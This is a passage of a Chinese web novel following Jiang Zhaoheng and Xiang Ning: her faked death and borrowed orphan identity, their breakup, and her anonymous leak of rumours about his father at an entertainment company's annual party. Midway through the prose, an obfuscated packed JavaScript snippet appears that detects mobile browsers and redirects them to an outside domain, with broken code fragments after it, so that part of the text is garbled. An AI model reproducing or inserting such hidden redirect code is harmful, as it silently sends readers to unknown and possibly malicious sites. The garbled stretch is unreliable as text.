“对了——”蒋昭恒佯装随口问起,“向宁呢,有没有说过她想考哪所大学?” 向晚蘅瞟他一眼,笑道:“你怎么不自己去问她?” 蒋昭恒张了张嘴,没说出什么理由来。 “她想学表演。”向晚蘅直接回答道,“具体哪所学校还没定,不过我觉得她考哪都没问题。” 蒋昭恒不禁皱眉:“以她的成绩,完全可以冲一冲排名靠前的985,出国留学也不是难事,为什么要——” “瞧你这话说的。”向晚蘅冲他翻了个白眼,“学表演怎么了?难道就低人一等,浪费宁宁的好成绩了?” “我不是这个意思,只是觉得娱乐圈太乱了,小姑娘家家的容易吃亏。” “难道学术圈不乱?人面兽心的老师不多?”向晚蘅轻“嘁”一声,“我好歹在自己的圈子里有点人脉,宁宁跟在我身边,谁敢欺负她?” 这话让人挑不出错来,怼得蒋昭恒只剩最后一句可说:“她要是真被您一手捧红,八成会被扣上一顶‘资源咖’的帽子,万一被网暴了怎么办?” “哎唷,你就别瞎操心了。”向晚蘅语带无奈,“宁宁只想做剧场演员,没想上荧幕。话剧圈这么小,她得红成什么样才能引来网暴呀!” 蒋昭恒颇为意外:“怎么会有表演生不想上荧幕呢?” “宁宁是个特例。”向晚蘅欲言又止,叹了口气,“家庭原因,你就别问了。” 本是一句搪塞,偏又让蒋昭恒听出了漏洞:“您不是说她是在福利院长大的孤儿吗?既然这样,哪里来的什么家庭?” 向晚蘅知道这个谎实在难圆,便也不掩饰了:“如果你想知道答案,可以直接去问宁宁。如果她不愿意告诉你,我也不能代她开口。” 当时的蒋昭恒并未直接去问,他想她肯定不会说实话,何必问这一遭呢? 可是好奇心这种东西一旦滋生,就很难彻底摆脱了。 次年初春,一部新剧刚播了前两集,就使得蒋昭恒再也憋不住心底的疑惑,誓要找向宁问个明白。 面对他的猜测,向宁承认得很爽快:“嗯,这个‘小花’就是我演的。” 蒋昭恒面色严肃:“可演员表上不是你的名字。” 向宁纠正:“不是我现在的名字。” 蒋昭恒再次看向屏幕,声音微颤:“这个示亡号是怎么回事?” 向宁盯着自己曾经的姓名,云淡风轻道:“他们以为我死了。” 说完沉默片刻,又换了种措辞:“我让他们以为我死了,只有这样,我才能自由自在地活下去。” 蒋昭恒还是不敢置信:“可你毕竟还活着,怎么可能开得出死亡证明?” “我很会骗人的。”向宁显出一抹哀伤神色,“即便找不到尸体,也能让他们相信我已经死了。” 蒋昭恒面色略带焦急:“那你现在的身份呢?户籍、学籍,都有法律效力吗?是真实可用的吗?” 向宁情绪不高,小幅度点了点头:“那家福利院为了多领补助金,向上虚报过好几份孤儿信息。向阿姨给了院长一笔捐助,他就让我顶了其中一个名额。” 蒋昭恒这才稍稍安心。不必多问,他已经猜到了她不想登上荧幕的真实原因——怕原来的家人发现她还活着,怕原来的身份再一次缠上她。 “你的家人对你不好吗?”他问。 向宁垂眸抿了抿嘴,似乎想说些什么,谁知话未出口,眼泪竟先流了下来。 她一时有些忙乱,伸手去擦眼泪,却总也擦不尽。蒋昭恒见状愈发揪心,再也顾不得避嫌,直接把向宁揽入怀中,紧紧环抱起来。 “是我的错,我不该贸然提起你的伤心事。”她难过时,他总想陪着一起哭,“都过去了,都过去了。你就是向宁,只是向宁。从今以后……不,从你重获新生那一天开始,我和我妈就是你的家人了,如假包换的家人。” 向宁在他怀里用力点头,双手试探着放在他的腰侧。 “你信任我,愿意告诉我这些事,我很开心。”蒋昭恒一手抚上她的后脑,轻轻拂过她的发丝,柔声道,“说真的,也很意外。” 向宁吸了吸鼻子,抬头与他对视,轻声道:“我一直在等你问我。”他早就开始好奇了,她看得出来。 “我会为你保守秘密的。”蒋昭恒帮她擦去眼泪,郑重承诺道,“就算将来有一天,那些人又找到了你,我也绝不会让他们把你带回去。” 向宁勉强弯了弯唇角:“可你很快就要出国了。” 蒋昭恒本想伸手去揉她的发顶,动作却在半截顿住,转而戳了戳她的额头。 “那都是什么时候的老黄历?我早就跟我妈商量过,不出国留学了。” 向宁怔愣片刻,并不感到欣喜,反而皱起眉头问道:“为什么?你成绩那么好,就应该去最好的学校读书啊!” 蒋昭恒注视着她的双眼,微笑道:“你有没有听过一句话——谁痛苦,谁改变。” 向宁错开他的目光,低声道:“留学是很痛苦的事吗?” 蒋昭恒沉默良久,最后只在心里说了一句:宁宁,你也许很擅长骗人,但真的很不擅长装傻。 “好好学习。”他仿佛又回到了兄长的身份,“快点长大。” 向宁忍不住反驳:“你也就比我大一岁而已,干嘛说得像比我大一辈似的。” “嗯,一岁。”十七岁到十八岁,他想,“好漫长的一岁。” …… 等到下一个生日,蒋昭恒已经是R大法学院的大一学生了,向宁却仍在为下届艺考做准备,时不时被向晚蘅带到剧组观摩学习,课程表排得比三线艺人的通告单还满。 蒋昭恒偶尔会去探班,向晚蘅起初不觉得有什么奇怪的,直到剧组同事随口提了一句——您家这俩孩子感情真好。 向晚蘅这才意识到,蒋昭恒这臭小子说是来探他老娘的班,实际上逮着空闲就往向宁身边凑,简直司马昭之心! 照她从前的性格,这时候肯定要过去调侃儿子几句,非得闹得他红了脸才罢休。 现在的她却更愿意替他们护住这层窗户纸,免得打破了两个年轻人懵懂柔软的美好情愫。 对于向宁和蒋昭恒而言,一切似乎都发展得自然而然。跨年夜的青涩一吻后,两颗相互吸引又各有顾虑的心终于不再试探彼此,得以名正言顺地靠在一起。 蒋昭恒那时还以为,他们会永远像这样在一起。可惜落差来得太快,向宁一上大学,他的危机感便接踵而至。 “你最近越来越忙了。” 二人漫步在运动场外的林荫道上,蒋昭恒伸手接住一片即将落在向宁肩上的黄叶。 “上高中的时候,每天一回家就能见到你,现在几乎只有周末才能见面。” “不是说距离产生美吗?”向宁从他手中接过那片落叶,捏着尾端转了转,“每天都待在一起,万一很快就腻了怎么办?” 蒋昭恒揪住落叶一角,不满道:“听言外之意,你好像已经对我腻烦了?” “不要曲解我的话。”向宁扔掉落叶,抓住他的手指用力捏了捏,“否则,我会怀疑你是在倒打一耙。” 蒋昭恒顺势塞给她一张金属卡,满眼认真道:“欢迎随时查岗。” 为了防止被蒋元磊分走更多财产,向晚蘅给蒋昭恒买了一套大平层,算是变相转移了不少存款。 “这是小区门禁卡吗?”向宁观察片刻,玩笑道,“怎么查岗,让我去你家楼下盯梢啊?” “A栋13层,就一户。”蒋昭恒牵过她的手,看着她的眼睛说,“门锁密码是你生日。” 不等向宁发问,他又补充了一句:“不是身份证上的生日,是你真实的生日。” 向宁正要说些什么,恰好碰上两个同班男生迎面走来。 “向宁。”他们打着招呼走上前来,朝一旁的蒋昭恒投去一瞥,“你朋友啊?” 向宁挽住他的胳膊坦然一笑:“我男朋友。” 听了这话,那两人也不想做电灯泡,寒暄两句就回宿舍了。 蒋昭恒目送他们走出一段距离,问向宁:“你们班男生都挺帅的吧?” 向宁斜他一眼:“比不上你,中了基因彩票的家伙。” “彼此彼此。”蒋昭恒权当听不出她的阴阳怪气,“所以,你会来查岗吗?” 向宁把门禁卡收进口袋,“不用,我相信你。” 话虽亲昵,蒋昭恒听了却高兴不起来。 “你好像从来不会为我吃醋。”他说。 你真的喜欢我吗?他想。 “我不喜欢争风吃醋。”向宁踢开脚边的落叶,“如果没有安全感了,我会直接提分手。” “分手怎么能随便提!”蒋昭恒与她十指相扣,不再挪动步伐,“能轻易说出那两字,只可能是因为不够喜欢对方。” 向宁盯着他的双眼看了几秒,摇摇头垂下目光:“我们观念不同,再怎么争,也争不出谁对谁错。” 一处分歧也许不算什么,可是蒋昭恒没有想到,他与向宁的关系越亲密,二人之间的分歧就越多。 恋爱关系每往前推进一步,伴随着甜蜜而来的苦涩都像公主床下的豌豆,硌得人无法安眠。仔细想想,又觉得不值得为这点小小的不舒服与她争吵。 向宁每次在他家留宿,手机时而响起的消息提示音都会搅扰夜晚的甜梦。班级群、课程群、宿舍群,为什么总有那么多讨厌的通知? 后来她开了静音,蒋昭恒仍然无法从偶尔亮起的手机屏幕上移开注意。 他也曾争取来翻看女友手机的权利,尽管内容一切正常,他还是觉得每个跟她聊天的男同学都别有用心。 这种心理很病态,蒋昭恒愿意承认,可他无论如何也无法克服这种心理。 辗转反侧许久,他终于下了结论:一切都是蒋元磊的错。 如果不是他背叛了婚姻,蒋昭恒就不会被这段令人作呕的回忆影响,更不会被逼到如此患得患失,甚至无理取闹的境地。 近来唯一的好消息是——向晚蘅终于做好万全准备,决定正式向蒋元磊摊牌离婚了。 财产分割协议由她的律师团队起草。蒋元磊片酬不高,通告又少,花销还大,再加上他本就是过错方,自然没多少财产可分。 “我不签。”蒋元磊拒绝得斩钉截铁,“你想离婚,有本事就把我告上法庭,财产一人一半。” 向晚蘅早就料到他会这么无耻,便也不再手软,当即宣布息影,握着悄悄筹谋数年的成果远赴国外,只给蒋元磊留下了一套共居多年的别墅。 这婚既然离不掉,那就不离了,反正她也不打算二婚,影响不到什么,把财产保住才是正经事。 蒋元磊被打了个措手不及,联系不上向晚蘅,就只能厚着脸皮来找蒋昭恒说情。 在儿子面前,他几乎哭成了泪人,掏心掏肺诉说着对妻子的愧疚和不舍。 蒋昭恒却只回以一句:“依我看,你只是舍不得这张长期饭票吧?” 此后不论蒋元磊再来多少次,蒋昭恒都避之不见。 可他没想到,向宁竟然成了蒋元磊疏通父子关系的突破口。 打开家门看到不速之客的那天晚上,蒋昭恒和向宁爆发了恋爱以来最激烈的一次争吵。 或者说,大多数时间都是蒋昭恒单方面的争吵。至于向宁,只是平静地接受了他的一切情绪宣泄——长期积压,堵在心口的所有负面情绪。 蒋昭恒可以容忍彼此的一切观念差异,唯独不能容忍向宁站在蒋元磊那边,站在他和向晚蘅的对立阵营。 哪怕她只是对蒋元磊生出了一点同情,提供了一点帮助,说了一句好话,那也是对向晚蘅最深切的背叛。 面对种种指责,向宁没有辩解一句。直到他口不择言说出“忘恩负义”这四个字,她才痛苦地闭上双眼,捂住脸流下泪来。 蒋元磊见势不对,也不敢上前劝架,只能灰溜溜地告辞离开。 蒋昭恒自知失言,见她伤心成这样,哪里还生得出气?本想赶紧说两句软话,道个歉安慰安慰,却不料向宁抢先开了口。 “蒋昭恒。”她很少这样严肃地叫他的全名,“既然你已经认定了我是个忘恩负义的人,那……我们就分手吧。” 蒋昭恒整个人僵在原地,一阵细密刺痛的耳鸣过后,他颤抖的双唇只能问出三个字:“为什么?” 向宁转过身去不再拭泪,只给他留下一个倔强的背影。 “你不是一直觉得我不够真心喜欢你,只是因为感念向阿姨对我的恩情,才勉强答应做你女朋友的吗?” 蒋昭恒靠近她几步,想去牵她的手,却被她躲开了。 “既然我是个忘恩负义的人,”向宁几乎是咬着牙说出那四个字,“那就没有必要看在她的面子上继续跟你谈恋爱了,不是吗?” 蒋昭恒从身后紧紧抱住她,强忍眼泪道:“别说这种气话。” “蒋昭恒,有些话一旦说出口,就没办法随随便便收回去了。” 她用力掰开他的手,从这个挽留的拥抱中脱身。 “听蒋叔叔说,你马上就要出国读研了。” 不是这样,他想说,还没有最终确定,他还想继续陪在她身边。 “挺好的。”向宁的语气平静无波,“你留在这里,他就会日复一日来找你。你走了,就彻底清净了。” 蒋昭恒不服气地捏住她的手腕:“你凭什么替我做决定!” “是啊。”向宁自嘲般轻轻一笑,“前女友是没资格替你做决定的。是去是留,你自己选吧。” 语毕,她拎起挎包,转身向门口走去。 “向宁!”蒋昭恒叫住她,努力从喉咙里挤出那个问题,“你到底……有没有真心喜欢过我?” 向宁在门前停了几秒,没有答话,头也不回地离开了。 …… 蒋元磊出国以后,很久都没有收到向宁的消息,只能通过朋友圈了解她的生活。 向晚蘅常常和乔煦晗通话,偶尔也会提起向宁的近况。 “宁宁这么早就进星桥实习啦?还是公关部?真稀奇,不做演员了吗?” “既然在你手底下做事,那你可要替我好好照顾她。” “她们学校离公司太远了,不方便。正好我A栋12层的房子还空着,你帮我跑一趟,办个过户,让她住进去吧。” 蒋昭恒只是静静听着,从不插话,表现得仿佛毫不在意。 直到几个月后的一天清晨,他听到向晚蘅和乔煦晗在视频会议里聊起八卦—— “真的假的?宁宁有男朋友了!” 马克杯偏移半寸,咖啡机里的滚烫液体立时溅上蒋昭恒的手背。 向晚蘅好似全无察觉,继续向乔煦晗追问:“是什么人呀?同学还是同事?” 顾不上收拾咖啡机的残局,蒋昭恒凝神细听,只恨自己没多长两只耳朵。 乔煦晗的声音并不清晰,蒋昭恒只听到几个关键词——同事,法务部,比她大一岁。 向晚蘅笑着啧啧两声:“这个宁宁,谈朋友了也不告诉我,朋友圈里也不见她发……诶,她不会把我屏蔽了吧?” 乔煦晗连忙替向宁解释,小年轻谈恋爱不一定都要发朋友圈,省得分手了还得删,麻烦得慌。 蒋昭恒攥紧拳头,刚才被烫到的皮肤仍然隐隐作痛。 是啊,向宁早就把他在她朋友圈里留下的痕迹全都删光了。 不过……往好处想想,至少她当时愿意在朋友圈里发他们的合照,在这一点上,她现在的男朋友就比不了。 果不其然,没过俩月,乔煦晗就送来了新的八卦消息——向宁和法务男分手了。 下一任是个模特,再下一任是个练习生,皆无例外,全都没在她的朋友圈里出现过。 也许,这代表她对他们并不是认真的。玩玩而已,她早晚会分手。 蒋昭恒不知道自己为什么还在关注她的感情生活,自虐似的。他只知道一个事实,那就是他不希望向宁得到幸福。 说他阴暗也好,说他无耻也罢,总之他绝无可能为向宁送上各自安好的祝福。归根结底,他还是记恨她的。 但她仿佛就偏要和他对着干。 毕业典礼当天,她发了一条朋友圈,九宫格。周围八张是和同学、老师、室友们的合照,中间那张是两个人单独的合照。 向宁穿着学士服,微卷的长发被夏风轻轻吹起,一个高大英俊的男生从身后抱住她,笑得无比灿烂,仿佛在炫耀他脸上的唇印。 她的唇印。 蒋昭恒不愿承认自己骤然咬紧牙关的动作源于嫉妒的情绪,他把全部精力都用在了观察这张照片上,反复放大每一处细节,意图找出他们并不相爱的证据。 可惜一切都是徒劳,最后,他的目光定在了他们交握的手上。 向宁和那人戴着同款戒指,在左手的中指上,那是戴订婚戒的位置。 此时此刻,也许连嫉妒都晚了。 可他不明白,那样廉价的蓝宝石戒指,凭什么能戴在她的左手上? 向晚蘅不请自来,为他解惑:“这个男孩子叫陶温,是电视台的记者。” 蒋昭恒按熄手机,嘴硬道:“您说这个干嘛,我又不感兴趣。” 向晚蘅叹了口气:“有些事情不能勉强,早点放下才是解脱。” “我早就放下了。”蒋昭恒靠在阳台栏杆上,盯着半隐在云雾中的月亮,忽地想起那句“千里共婵娟”来。 “现在想想,她当初不是真心喜欢我,我也未必是真心喜欢她。”蒋昭恒一一摆出自己的论据,“也许只是觉得她可怜,想保护她,却误以为自己是喜欢她。” 向晚蘅又是一叹:“就算结束得不太愉快,也没必要否认最初的感情呀。” 蒋昭恒别开脸,不想让母亲发现自己哭了。 “是她先否认的。”他说,嗓音微带哽咽,“是她先把我的心扔在地上踩。” 向晚蘅沉默良久,不禁感慨:“早知道,我就不该把宁宁带回家住,应该在外头另找个房子,防着你们这对冤家聚了头。” 蒋昭恒没有答话。 比起从未相识相恋,他倒宁愿是现在这样,相互怨怼,一地鸡毛。 这天晚上,他终于下定决心删掉了向宁的微信。 “反正以后也不会再联系了。”他喃喃自语。 可是…… 他们真的不会再联系了吗? 53. 替身文学 次日一早,向宁刚走出电梯门,就发现蒋昭恒正靠在墙边等她。 “找我有事?”她问。 蒋昭恒走近几步:“我送你上班吧,顺路。” “今天不顺路。”向宁低下头回了几条工作消息,“我们公司办年会,那酒店远着呢。” 蒋昭恒坚持:“没关系,一样能送。” 向宁疑惑抬眸:“你不怕迟到啊?” 想想也是,像蒋昭恒这种身家的富二代,上班迟到扣的那点工资还不够他点一道前菜的。 “我这工作不用坐班。”蒋昭恒解释说,“领导要查,我就说是出去见当事人了。” 向宁不由一哂:“刚入职就学会偷奸耍滑了,孺子可教也。” 坐上副驾,向宁后忍不住吐槽:“上班开劳斯莱斯,不怕同事在背后蛐蛐你烧包啊?” 蒋昭恒笑了笑:“全律所都知道我妈是谁,我要是行事略微艰苦朴素一点,他们反而会觉得我装。” 向宁不置可否,从包里取出一个余温尚存的三明治,一边拆包装一边问:“介意我在你车上吃早饭吗?” 昨晚又喝酒又熬夜,导致她今天没能按时起床,错过了早饭。好在枕安早有预料,特地给她准备了一份可外带的三明治。 蒋昭恒扭过头看她一眼,认真道:“在我的车上吃东西,这是我女朋友的特权。” 向宁手上动作一顿,又把包装纸盖了回去,轻咳一声道:“等会我下车吃。” “我开玩笑的。”蒋昭恒收回目光,看着窗外,“想吃就吃吧,我哪敢饿着你。” 向宁没有搭话,也转过脸去看另一侧的窗外,车内久久静默,再也没有响起包装纸的声音。 早高峰的市区总是三步一小堵,五步一大堵,正好给了向宁下车吃饭的时间。蒋昭恒拗不过她,只能暗自懊悔,自己又因为说错一句话而把她推远了。 三明治吃到一半,向宁忽然看到不远处有个熟悉的身影——地铁站外的小吃摊旁,麦秋正在排队买煎饼。 向宁远远喊了一声,麦秋循声望去,随即露出惊喜的神情,拎着煎饼快步跑了过来。 “向宁姐,你也赶地铁呀?”麦秋挽住她的胳膊,“正好,咱们一起吧。” “一起当然是要一起的。”向宁带着她朝蒋昭恒的车走去,“但不是坐地铁。” 语毕敲敲车窗,对蒋昭恒问道:“师傅,把我助理也捎上行吗?” 蒋昭恒无奈地撇撇嘴,盯着她的眼睛抱怨道:“师傅?” 向宁无所谓地耸耸肩:“不行就算了,我们挤地铁去。” 蒋昭恒连忙按住她搭着车窗下沿的手:“行行行,上来吧。一只羊也是赶,两只羊也是放。” “什么破比喻。”向宁低声叨咕一句,拉着麦秋一起坐上了后座。 关门声落定,蒋昭恒向空空荡荡的副驾投去一瞥,无可奈何,只在心里念了句马后炮——早知道就开那辆法拉利出门了,没后座。 麦秋认得劳斯莱斯的车标,双手握着煎饼稳坐不动,一口也没敢吃,唯恐让豪车染上辣酱味,直到下车后才松了口气。 酒店门口车来车往,因是娱乐公司开年会,来的豪车并不算少,向宁三人不会引起额外的注意。 “任务完成。”蒋昭恒跟她们一起下了车,目光扫过麦秋问向宁,“不介绍介绍吗?” 向宁给麦秋递了个眼神,后者会意,立刻上前自我介绍:“您好,我叫麦秋,是向宁姐的助理。” “你好。”蒋昭恒跟她握了握手,转而朝向宁看去,“我是她的……” “表哥。”向宁代他回答。 蒋昭恒无奈:“她说是就是吧。” “开个玩笑。”向宁忽又改了口,“他是我朋友,你叫他蒋律就行。” 麦秋点点头,礼貌微笑道:“谢谢蒋律送我们过来。” 蒋昭恒客套两句,又问向宁:“你们年会大概几点结束?我来接你。” 向宁支开麦秋,让她先去领房卡,然后才回答蒋昭恒的问题:“不用了。我们可能会玩到凌晨,不好麻烦别人。” “可我不是别人。”蒋昭恒与她对视,“而且玩到那么晚,我也不放心让你一个人回家。” 向宁依然拒绝:“不是一个人,我坐煦晗姐的车回她家住。” 二人沉默对视片刻,向宁主动打破僵局:“行了,回去上班吧,蒋律师。” …… 进到酒店大堂,麦秋已经领来了两张房卡,正在窗边吃煎饼。 “饿坏了吧?”向宁问。 “马上就要前胸贴后背了。”麦秋笑答。 二人上楼进了房间。标间不大不小,灯光是略显昏暗的暖色调,浴室的装修说好听点叫复古,说难听点叫过时,两张床上分别摆着一张年会抽奖卡。 麦秋囫囵吃完煎饼,兴冲冲地在卡上填好自己的姓名和工号,还问起:“向宁姐,要不要我帮你也填一下?” “不用。”向宁躺在靠窗的床上,“我的中奖几率为0,填了也是浪费纸墨。” “啊,为什么?”麦秋搬来一把靠椅,坐在她床边,“就算是非酋,也不可能完全没有中奖的机会吧?” 向宁一手支着脑袋,俨乎其然道:“告诉你一个秘密。” 麦秋连忙凑近她,压低声音做出保证:“绝不外传!” 向宁一脸正经:“咱们年会抽奖的程序是我前男友写的,分手以后,我的工号就不在抽奖白名单里了。” 麦秋显然对这套说辞深信不疑,忿忿道:“他怎么能这样!这不是以公谋私吗?” 向宁煞有介事地叮嘱道:“所以啊,你要从我身上吸取教训,千万不要谈办公室恋爱。” 麦秋这时哪有心情听她说教,满心都想着:“向宁姐,你不能就这样放过他!应该向人事部举报他啊!拿着鸡毛当令箭,呸,什么东西!” 向宁见她认真起来,反而有些演不下去了,失笑道:“行了行了,消消气,我逗你玩的。咱们年会是手动抽奖,压根用不着写程序。我只是运气比较差,所以从来没抽到过奖,今年也不抱指望了。” 麦秋怔愣一瞬,冲她撅了噘嘴:“真想给你发个表情包,你因犯下欺骗无知少女同情心罪而被逮捕!” “这可不能怪我啊!”向宁笑着捏了捏她的脸颊,“你刚入职的时候我就提醒过你,干咱们这行的不能太相信别人,必须把质疑精神发挥到最大限度。” 麦秋轻轻一叹:“连你也不能相信吗?” 向宁郑重点头:“嗯,连我也不能相信。” 麦秋若有所思,自顾自帮向宁填好抽奖卡,下楼去往抽奖箱里投卡。 向宁拿出pad,点开组长群里的第八版抽奖信息表。 行政组长做着最后的催促:「大家再确认一下,各组艺人的抽奖结果和营销方案是否匹配!各组长的奖池占位是否需要调整!」 表格里,况星宸对应的奖品是现金红包,营销方案是“宠粉福利”,也就是通过平台抽奖的形式,把这些钱发给他的粉丝。 蒋元磊这种过气老艺人自然没有营销方案可用,奖品也是奖池里最低一档的蓝牙耳机,聊胜于无罢了。 更重要的是,他现在连这点奖品都没机会拿了。 「我们组有个艺人一直联系不上,不知道来不来年会,奖品怎么处理?」经纪部有人发问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998887|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 「哪个艺人?」行政部追问。 「蒋元磊。」经纪部答。 「不用管,爱来不来,奖品发回奖池。」行政组长在屏幕后翻了个白眼,这种过气艺人,也不知有什么谱可摆的! 这段对话倒是给向宁提了个醒。 趁麦秋还没回来,向宁登上八卦论坛,用小号发了个帖子,标题为——内娱又有瓢虫被抓了,挖坑等爆。 短短几分钟过去,这篇帖子就盖出了百层高楼。许多吃瓜网友都“放个屁股”、“放个耳朵”,等楼主继续爆料。 向宁并不急着回复,等热度再高一重后才有所动作,断断续续透露了几个关键词——大前辈、初代国民cp、婚变传闻。 虽然没有指名道姓,却也就差直接报蒋元磊身份证号了。 他虽已过气多年,国民度毕竟在那摆着呢,这种负面新闻的关注度肯定不会小。 真真假假,假假真真,就看公司敢不敢正面回应了。 不论公司的下一步棋怎么走,向宁都有办法应对。 …… 麦秋拿着抽奖卡回到酒店大堂,抽奖箱四面都排着长队,全是来投卡的。 左侧队尾正好是公关部A组的同事小李,麦秋便接在了她身后,二人聊起天来,排队就不那么枯燥了。 艺人八卦刚聊到一半,小李忽然收声,朝斜前方的人群投去意味深长的一瞥。 “怎么了?”麦秋顺着她的目光看去,“不是明星啊,你认识?” “何止,整个公关部都认识。”小李语带揶揄,“喔,你来的晚,不认识也正常。” “到底谁啊?”麦秋催问。 小李凑到她耳边,小声答道:“向宁姐的前男友。” 麦秋一怔,第一反应便是:“写代码的?” 小李也愣了:“不是啊,做法务的。” 麦秋怕她多想,连忙接着问:“他们为啥分手?” 小李打趣道:“你跟向宁姐关系那么好,怎么不直接问她?” 麦秋摆摆手:“这种事情,怎么好直接找当事人打听啊?” 小李深以为然,继续讲起八卦来:“听说向宁姐的初恋和他有点像,也是国外留学的法学生。” 麦秋讶然:“替身文学啊?” 小李重重点头:“这不,法务哥发现‘这些日子的情爱与时光,终究是错付了!’毅然分手离宫,没想到他拿的不是嬛嬛剧本,皇上根本没打算接他回宫。就这么彻底分了呗。” 麦秋大为震撼,紧接着又是不解:“你怎么知道得这么详细?” 小李嘿嘿一笑:“前两年有一次年会,法务哥喝多了,跑去找向宁姐要说法的时候自爆的。后来他酒醒了,自己也觉得丢脸,从那以后,在公司见到向宁姐都躲着走。” 麦秋吃瓜吃到饱,思维渐渐发散,回到了今天早上。 法务哥长得确实有点像蒋律师。难道说,蒋律就是向宁姐的“归国白月光”? 可是回忆起今早向宁对他的态度,麦秋又不太确定了。 她思索之际,小李突然变了脸:“我靠,又要加班了?” 麦秋忙问:“出什么事了?” 小李翻了翻组内群聊,渐渐松一口气:“没事,出事的艺人不归咱们组负责,让B组加班去。” 麦秋凑近一看,原来是有营销号搬运了八卦论坛的爆料帖,暗示星桥娱乐的老牌艺人蒋元磊□□被拘了。 没过多久,几乎整间大堂里的同事们都聊起了这个话题。 向宁靠在窗边吹着小风,重新编辑着爆料帖的内容,在末尾加上了一句话—— 星桥娱乐,你们敢“辟谣”吗? 54. 男友标准 星桥娱乐也不知道他们该不该辟谣,到现在为止,蒋元磊的经纪人老葛依然联系不上他,无法验证这条爆料的真伪。 各家娱记的电话接连打来,老葛不胜其烦,求着公关部张洋和经纪部乔煦晗开了个临时会议。 “要不然还是冷处理吧。”老葛提议道,“不回应,等热度慢慢下去就好了。” “冷处理和默认有什么区别?”张洋没好气道。 “那也不能直接辟谣啊!”老葛语带委屈,“万一这事是真的,咱们前脚辟谣,警方后脚发通报打脸,咱们怎么下得来台啊!还不如什么都不说,这样至少不会引来官方公开表态。” 说完又嘟囔一句:“我估计这事八成是真的……” 乔煦晗不甚在意:“蒋元磊都多久没给公司挣过钱了?算算投资回报率,咱们有必要帮他收拾烂摊子吗?” 老葛连忙反驳:“我刚帮他接了几个短剧的活,不少挣呢,年后就要开拍了,现在他可不能出事啊!” 张洋左思右想,下了决策,对老葛吩咐道:“这样,咱们别用公司的号正面回应,你直接登上蒋元磊的微博,发两张他的生活照,就说是今天刚拍的。不管那些吃瓜的信不信,至少咱们明面上显出的是他没被拘的样子。” 乔煦晗表示没有意见,老葛也想不出其他办法,便匆匆执行任务去了。 接下来无需向宁推波助澜,吃瓜网友自会发挥福尔摩斯精神,通过照片上的蛛丝马迹扒出破绽。 「这个季节穿这身衣服不冷吗?」 「IP一致,为啥我这阴云密布,天气预报还说马上要下大雪,你那却阳光明媚?」 「楼上怎么看出天气的,这不是室内照吗?」 「镜片反射,那么大一个太阳,看不见的存图去调对比度。」 「破案了,存图到本地显示拍摄时间是两个月前。」 「笑死,反向锤死自己咯!」 「有点人脉,朋友刚从拘留所出来,说在里头看见他了,保真。」 众人讨论得热火朝天,很快就把话题送上了热搜榜,但是公司从始至终都没有正面回应。 随着年会流程的推进,各个艺人的造型路透纷纷曝光,热搜榜也逐渐开始洗牌,不多时就把蒋元磊的丑闻词条压了下去。 尽管如此,这顶“瓢虫”的帽子他也甩不脱了。 唯一可惜的是,老葛还是为蒋元磊保住了刚谈好的短剧资源。 制作方似乎并不在乎他身缠丑闻,反而觉得这能为他们带来一波热度,只要蒋元磊别被官方定义为劣迹艺人,影响作品上线就行。 好在向宁手里还有两张牌没打——赌狗,私生子。虽然都是“疑似”,但只要有一处能被查证,就够他喝一壶了。 该从哪张牌入手呢? 无论怎么选,这个年他都别想过好。 …… 对星桥娱乐的大部分员工而言,年会和加班都是画等号的。 艺人的造型、舞台、采访、营销,桩桩件件都忙得大家喘不过气。 每隔十来分钟抽一次奖,中奖名单大部分都是提前内定的。中奖的艺人各凭本事演出惊喜之态,仿佛在为将来拿水奖时做预演。 “接下来要抽的是三等奖,一共十个名额。”主持人满脸笑容,略显生硬地念着手卡上的台词,“奖品为——破壁机一台!” “破壁机是什么?”麦秋咬着果汁杯的吸管问向宁,“我只听说过破壁人。” “好像是做饭用的机器吧。”向宁也不太确定。 说话间,台上已经“抽”出了九个幸运儿。向宁知道,每组抽奖都只有最后一个名额是真正被随机抽选的。 她端起红酒杯,饶有兴趣地喝了两口,眯眼看向台上的抽奖箱。 “最后一位幸运儿是——”主持人故意拖着长音吊人胃口,“公关部,麦秋!” 话音一落,同桌而坐的A组同事们异口同声替她欢呼起来,连向宁也跟着一起凑热闹,竖起大拇指赞叹道:“你是真欧皇,快让我沾沾欧气。” 麦秋不知个中缘由,端着果汁杯跟周围碰了一圈。领完奖回来,却发现向宁突然不见了。 “向宁姐回房间躲酒去了。”小李如是解释道,“咱们公司年会的惯例就是——三等奖抽完,各桌就要开始互相走动,互相敬酒了。向宁姐最烦这个,所以每年都往楼上躲。不说了不说了,我先去那边碰两杯哈!” 麦秋环顾四周,果然发现大多数同事都端着酒杯离开了坐席。她在心里暗骂两句酒桌文化,旋即抱着奖品溜出宴会厅,上楼去跟向宁汇合。 “欧皇回来啦?”向宁笑着打趣。 “欧了,但没完全欧。”麦秋把奖品放到一边,抱起枕头滚到床上,“我还要在学校宿舍住半年呢,毕业了出来租房也不会自己做饭,这机器只能当个摆设了。” “要不你卖二手吧?”向宁提议。 “不买!”麦秋当即拒绝,“这好歹是我的第一份欧气,有纪念价值的。” “那你就把它供起来。”向宁揶揄道,“每天出门前给它上三炷香,摆几盘瓜果。” 二人说笑几句,忽然听到有人在敲她们的房间门。 “不会是来给你敬酒的吧?”麦秋从床上爬起来,回头朝门口看去,“都追到这来了?” “不可能。” 向宁起身去开门,来者是况星宸的助理,杨晨叶。 向宁深吸一口气:“他有事找我?” 这个“他”指的自然是况星宸。按照既往的经验推测,他八成又要闹幺蛾子了。 不料杨晨叶竟然摇了摇头:“向宁姐,麦秋在吗?我找她有点事。” 向宁叫来麦秋,却并未留他们独处,而是站在麦秋身后不远处,笑问杨晨叶:“什么事啊?” 杨晨叶双手捧着一个颇有分量的盒子,解释道:“我刚刚抽到了二等奖,一台游戏机。但我平时都习惯用电脑玩游戏,所以想问问麦秋,能不能跟我交换奖品。我家正缺个破壁机呢,省得买了。” “真的!?”麦秋眼前一亮,“那我可占到大便宜了。” 